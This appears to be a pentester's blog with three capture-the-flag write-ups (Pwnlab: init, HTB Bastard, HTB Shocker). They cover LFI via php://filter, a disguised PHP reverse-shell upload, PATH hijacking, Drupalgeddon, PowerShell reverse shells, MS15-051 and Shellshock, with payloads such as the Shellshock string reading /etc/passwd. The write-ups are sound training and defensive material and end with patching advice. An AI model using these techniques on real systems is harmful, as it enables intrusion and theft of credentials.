    • turing-police

Until next time, adios.

Vulnhub – Pwnlab: init

Annndddd I’m back. I’ve been busy for the past 1.5 months or so working through the lab machines for the OSCP and will be taking that exam in two weeks. However, I wanted to go back to some of the “OSCP-like” Vulnhub machines listed here for some final preparation outside of the machines provided in the lab range. It might be a separate post altogether eventually, but I have really enjoyed the OSCP material so far. It only took a few days to get through the PDF and videos provided, but the machines in the labs have been great, if a little out of date in places (looking at you Windows Server 2000).

Today I picked the “Pwnlab: init” machine from Vulnhub as it’s supposed to be similar to what is seen on the OSCP. Anyway, let’s get started.

The initial nmap scan for all ports shows 4 ports open: HTTP, 2 for RPC, and MySQL. As RPC isn’t usually very fruitful on it’s on and MySQL will likely require credentials, we’ve save these for later and check out what’s running on the web server.

The initial splash page says the server is used to upload and share images inside the intranet and has links to pages for Login and Upload.

Clicking through these, we get a standard login page and the upload page states we need to be logged in to be able to use it.

One thing I noticed while looking over these pages is how they seem to be loaded. The page itself seems to stay on / (likely /index or /index.php) and loads the different pages through the parameter “page”.

To check the logic, I tried visiting /login.php and it loads the same page as seen when clicking the Login link on the home page, minus the header with links to other pages. This appears to indicate that the ‘page’ parameter is looking for files with a given name in a directory, appending .php to them, and rendering the content.

While exploring the website, I also started a gobuster session to try and find any hidden directories or files. It came back with the expected list of pages, plus one for config.php. Both /config.php and ?/page=config load a blank page, which likely means that the only content in the file is PHP code, which won’t be rendered on the page. Given that the site has a login page and we saw MySQL running on the server, my guess is that this file contains connection information and possibly credentials for the SQL database.

Now we just need to find a way to read the contents of config.php. Enter php://filter and its ability to convert a file’s content to base64 and display it, including that which wouldn’t normally show on a website (such as the underlying php code). To test this out we pass the value below to the page parameter and give resource the file we want to convert to base64.

/?page=php://filter/convert.base64-encode/resource={file to read}

My first test was on the login.php page and it looks like there is a successful LFI (Local File Inclusion) that allows us to successfully get base64 returned where the page would have rendered before. I intercepted the request with Burp Suite to make it easier to modify and send again, then sent the same request one more time.

Cool, we have some base64, but now we need to decode it. Luckily, Burp also has a Decoder we can paste the string into and choose to decode as base64.

After doing this, we see what appears to be the php code used to build the login.php page. Success! Now that we know this works, just in case we need them, I repeated the process for the other files we know exist: index.php, upload.php, and config.php. Checking config.php, we see it does in fact have credentials for the MySQL server.

I used these credentials to connect to the database from my machine. Looking through the database, we see there is only one non-standard database, Users, and only one table within it, users. Dumping the content of this table reveals usernames and passwords (base64 encoded) for three users: kent, mike, and kane.

I took the first decoded credentials in the list for kent, and was able to login to the site successfully. Now we get an option to upload a file, so the next step will be trying to get a PHP payload to be executed by the server and create a reverse shell.

When I try to upload a .php file used for a reverse shell, it gets rejected stating the extension is not allowed.

I tried again, just uploading a legitimate PNG image this time. It uploaded successfully and rendered the image on the same page automatically. I also checked the page info for the image and it showed the image being stored in the /uploads directory, with a name that appears to be a hash of the file. Manually visiting /uploads shows an open directory of all files that have been uploaded, which at this point is just our one image.

Conveniently, we retrieved the contents of upload.php earlier when exploiting the LFI and can use it to see the logic behind the file upload functionality. When inspecting the code, it appears to go through four different checks before allowing a file to be uploaded.

-File extension is in the allowed list: .jpg, .jpeg, .gif, .png
-File type is an "image"
-File mime-type is an image matching the extensions above
-Lastly, the file type can only have one slash.  For example, something like "image/gif/application/x-php" couldn't be used

After looking at these restrictions, it looks like we should be able to upload our PHP file as long as the extension is in the whitelist and the file type is an approved image. I took the same php-reverse-shell.php file as before (named rev.php here for simplicity) and started by adding the magic byte for a GIF image at the start. This allows me to keep the rest of the PHP content, but the file will be indentified as an image. This isn’t stricly necessary as we can change the file type when we intercept the request with Burp in the next step, but it’s still good to know it works.

Next, I uploaded rev.php and intecepted the request in Burp. We can see the top portion of my reverse shell code and that the content-type is already set to “image/gif”, but we need to change the file name before forwarding the request. I changed the name to “rev.php.gif” to match the content-type, though it doesn’t really need to as long as it meets the whitelist requirements.

Success! The file was uploaded successfully and it tries to render the image on the page, but fails because it’s obviously just code and not a real image. However, there’s still a problem. When going back to the /uploads directory, we see our GIF and can view the file, but it doesn’t execute any code because it’s being treated as an image.

So, the file is on the server, but we can’t execute it by visiting the file directly. Luckily, in one of the other files we downloaded the code for earlier has a parameter we can use. The image below shows a comment in /index.php about how the ‘lang’ parameter would be used to set a cookie, but has not been implemented yet. The code for the potential implementation uses the the PHP function include(), which will allow us to execute code in a file if it is passed to the ‘Cookie’ parameter.

To execute our code, we intercept a request to /index.php, change the Cookie parameter to be “lang={path to malicious .gif file}”.

Unfortunately, we get an error when trying this because I mis-typed the IP address for my Kali machine in rev.php. My bad.

When fixing this, starting a netcat listener, and sending the request again, we get a successful reverse shell connection as the www-data user.

To start out, I transferred the privilege escalation checker linpeas.sh to the machine from mine using a Python web server, made it executable, and ran it.

This is a really nice script that checks common privilege escalation vectors, common misconfigurations, etc. and color codes them based on their usefulness. Unfortunately, it didn’t come back with anything very useful and neither did several other things I looked around at.

At this point, I remembered we found credentials for three users earlier and wanted to try them for the machine, but SSH wasn’t enabled. I was able to log in with kent’s credentials, but found nothing useful in his home directory and no interesting additional permissions. Mike’s credentials didn’t work, but kane’s did and he had an interesting file in his home directory named “msgmike” that was owned by mike.

The “msgmike” file is also set to be executable and when using hexdump on it we can see it’s calling cat on a file in Mike’s directory. Running the file shows the same thing, but gives an error that the text file it’s trying to read doesn’t exist. However, the script doesn’t appear to be using the fully qualified path for cat, i.e. /usr/bin/cat, which means we might be able to hijack the functionality by editing the PATH variable.

First, I created a new file in kane’s directory that simply calls /bin/bash to essentially open a new shell as whichever user runs it, then made it executable.

Next, we need to modify the path to have it check kane’s directory for our new cat file before it checks /usr/bin. After the change, we see it should read the PATH variable from left to right and check kane’s home directory before anything else, thus calling our version of cat when we run the msgmike file. Executing the file we see that it works and we are put into a new shell as the mike user.

Now that we can access mike’s directory, we see another interesting file named “msg2root” that appears to echo a string into /root/message.txt. A quick test shows that we can use this file to run multiple commands as root by terminating each with a semi-colon. The second image below shows us creating a test file in mike’s directory that is listed as being owned by root.

The way I ended up abusing this was by creating and compiling a file that just runs setuid(0), setgid(0), then runs bash as user ID 0 (root). Once the file had been transferred to mike’s directory, I called msg2root again and passed it commands to change the owner to root and then set it as an SUID file executable, allowing all users to run it as the file owner. Running it immediately puts us into a shell as root.

After doing it this way first, it occurred to me that there was a much simpler way of doing it without needing another file. After changing the path back to its original state, running the file and passing “;/bin/sh” puts us into a shell as root as well.

And that’s that. We have root access and can read the flag.

Recommendations:

  • The only real recommendation here would be to not leave developmental code on a production website if it is not properly implemented or at least leave it commented out so it is not potentially functional.
  • The rest of the box was fun, but not incredibly realistic so not much point making recommendations there.

Hack the Box #9 – Bastard

Bastard is a Windows Server 2008 R2 machine running a web server on Drupal. The version of Drupal in use is vulnerable to a SQL Injection that allows remote code execution on the underlying web server. After using this to get a reverse shell, running Sherlock gives an idea of several possible privilege escalation methods. One allows execution of commands as the SYSTEM user, which lets us escalate our access and gain access to the root flag.

The initial nmap scan shows 3 ports open: HTTP on port 80 and the standard Windows RPC on 135/49154.

Initial nmap results

In my experience, RPC by itself doesn’t usually give much of use, so HTTP is where I started. Visiting the site displays a login page that is powered by Drupal, an open-source CMS similar to WordPress.

Drupal login page

I first tried registering for the site, but it gave an error message that mail services were not setup for the final step of new account registration. Next, I moved on to testing Drupal for vulnerabilities and found a tool called “Drupalgeddon on Github”. After cloning it to my machine and running it, we can see below that it found the website is vulnerable to payload that gives code execution.

Drupal vulnerability script showing successful code execution

The code appears to be generating a random string, adding it to one of a few vulnerable parameters in various Drupal pages, and sending it in a POST request. If the request is successful (response code 200) and the message is echoed back, then the site is vulnerable to code execution through the parameter that was used.

The script finished its other checks and eventually fell into a type of shell using the vulnerable parameter “name” to send the commands we want to execute. In this case, I sent the command “whoami” and it echoed back that we are the user ‘IUSR’, which is the account used to run Windows IIS services.

Successful code execution from Drupal exploit script

Now that we have code execution, we need to use it to get a shell on the machine. I used a script named “Invoke-PowerShellTcp.ps1” included with the Nishang toolset to create a reverse shell through PowerShell. I started a Python web server on my host machine in the directory where the script was located, sent a Powershell command to retrieve the contents of the file, then executed it with the parameters for what IP and port to use for the reverse shell. Below we can see that my web server successfully received a GET request for the file.

Using PowerShell to download Nishang script and invoke a reverse shell

Immediately following the GET request, we get a successful connection to my netcat listener, creating a shell as the IUSR account.

Catching reverse shell

This user actually had access to the desktop for the “dimitris” user on the box, which means I was able to get the user flag without any escalation to other accounts. From there, I started investigating the machine for useful information on how to escalate to SYSTEM. The systeminfo command below shows us that this is a base installation of 64-bit Windows Server 2008 R2, with no additional hotfixes applied. As this is pretty dated at this point, , especially without any patches, there should be an exploit we can find for privilege escalation.

System info showing a default 64-bit Server 2008 R2 machine

For this step, I used a tool called Sherlock that reads the systeminfo output and compares it to known exploits, then provides information on which the machine is likely vulnerable to. Using a similar method as before to download the script from my machine and pipe it directly to PowerShell, I received output listing multiple exploits that were tested, but several that specifically showed as “Appears Vulnerable”. I should point out that the method used to run this script (and the other PowerShell command above) runs it directly in memory without saving anything to the local disk. This can be very useful in covering your tracks as there should be no forensic evidence of what occurred after the machine is rebooted.

Using Powershell to retrieve and run sherlock.ps1 without saving file to disk
Python web server serving the Sherlock script

I chose to go with the exploit for MS15-051, which was a vulnerability in Windows Kernel-Mode Drivers that allowed for escalation of privilege to SYSTEM. There is a github page here that has several executables already compiled that exploit this vulnerability, so I choose the 64-bit version and transferred it to the target machine using the certutil application.

Using certutil.exe to download exploit executable from my machine

Now, the executable states it should be run with one parameter, which is the command you want to execute as SYSTEM. If we pass it the command “whoami”, we see it successfully comes back as being run by NT Authority\SYSTEM. Next I used certutil again to pass the Windows binary version of netcat onto the machine, then used it in the executable’s command parameter to create a reverse shell back to my machine as SYSTEM.

Seeing exploit for MS15-051 runs as SYSTEM

As we can see, the shell successfully connects and we’re running as SYSTEM. I was able to get the root flag at this point.

Catching a shell as SYSTEM

And that’s all for this machine. This one was pretty fun and I learned about a few new tools that could be useful in the future.

Recommendations

The recommendation for this box is to adhere to a consistent patching schedule.

  • The Drupal version installed here (7.54) was only released about a month before the box was. However, a strict patching cycle would minimize the amount of time the site was vulnerable to such attacks as seen here.
  • The default version of Windows Server 2008 R2 was released in October 2009, which will be vulnerable to quite a few things by now as no hotfixes have been applied. However, in this case, the box was created in March 2017, which is a little less than two years after the Microsoft security bulletin for MS15-051 was released. In a real-world scenario, a consistent patching cycle would help ensure this machine is patched as soon as possible and avoid unnecessary risk by leaving it vulnerable.

Hack the Box #8 – Shocker

Next up is Shocker, a Ubuntu Linux machine that was vulnerable to the ‘Shellshock’ exploit. Once I used Shellshock to get the initial shell/user flag, misconfigured sudo permissions allowed for the privilege escalation to root.

The initial nmap scan showed only two ports open: HTTP on port 80 and what appears to be SSH on port 2222.

nmap -sC -sV

Since there is a web server, that was the logical first thing to check. The home page only shows an image of a bug with the text “Don’t bug me!”.

As this page didn’t seem to have anything useful, I started a gobuster scan on the server to find other directories we can work with. The first scan didn’t find much other than the cgi-bin directory and the index.html page shown above. However, when I ran another on the cgi-bin directory, also looking for common file extensions, it found a file named ‘user.sh’ that we can download.

Gobuster finding user.sh file in /cgi-bin directory

Downloading user.sh script

Opening the script shows it’s apparently just used to display uptime for the server.

Contents of user.sh script

After a quick Google, I found this script to test for pages vulnerable to Shellshock. Knowing that Shellshock is usually used on web servers through files in the cgi-bin directory, I tested it against the user.sh file specifically and it shows as vulnerable.

shocker.py script testing for vulnerability to Shellshock

Doing a little more searching on how Shellshock is triggered led me to several different blogs discussing the process, but a common method used sending malicious User-Agent strings containing the commands we want to be executed. The purpose of CGI scripts is to allow web servers to execute programs directly on the server and this vulnerability allows us to bypass what should be executed to instead run any command we want. For example, the image below shows a GET request for /cgi-bin/user.sh being sent with a modified User-Agent string that will execute the command ‘cat /etc/passwd’ on the web server and display the contents to us. The first portion of the command, () { :; }; , is the magic string that triggers the vulnerability when saved as an environment variable on the server from the HTTP request. As we can see, when this is sent we get the contents of /etc/passwd successfully.

Using Burp Suite to demonstrate Shellshock vulnerability, displaying /etc/passwd

I used Burp Suite for the method above, but it could be done via any other method that can send an HTTP request (and headers) to a web server. Below is how it looks when using curl.

Using curl to test Shellshock vulnerability, displaying contents of /etc/passwd

Now that we have code execution, we need to get a shell. I modified the User-Agent string used previously to execute a reverse shell to my machine and setup a netcat listener to catch it. Doing this we get a shell as the user ‘shelly’.

Using Shellshock magic string through Burp to create a reverse shell
Reverse shell as the user shelly

This user had access to the user flag. Once I had this shell I checked the sudo permissions for this user and it immediately gave us an easy path to root. Our user can run any perl command as root without a password.

Sudo privileges for user shelly

My method of getting root was by running another reverse shell through perl back to my machine, which worked, but in retrospect was more complicated than necessary. Something like this would’ve given us a shell as the root user: sudo /user/bin/perl -e “exec(‘/bin/sh’)”.

Perl command for reverse shell
Catching a shell as root

And with that we have root and access to the root flag, so that’s all for this box.

Recommendations

  • Per CVE-2014-6271, all versions of Bash through 4.3 are vulnerable to the Shellshock exploit due to the way they process trailing strings after defining environment variables. The easiest way to fix the vulnerability is to update the version of Bash used on the web server through the appropriate package manager.
  • Normal user accounts should not have access to run anything as root without a password. If a lower-privileged account needs access to root privileges, it should either require a password or be configured to only allow the specific command needed (as long as the command itself is not vulnerable).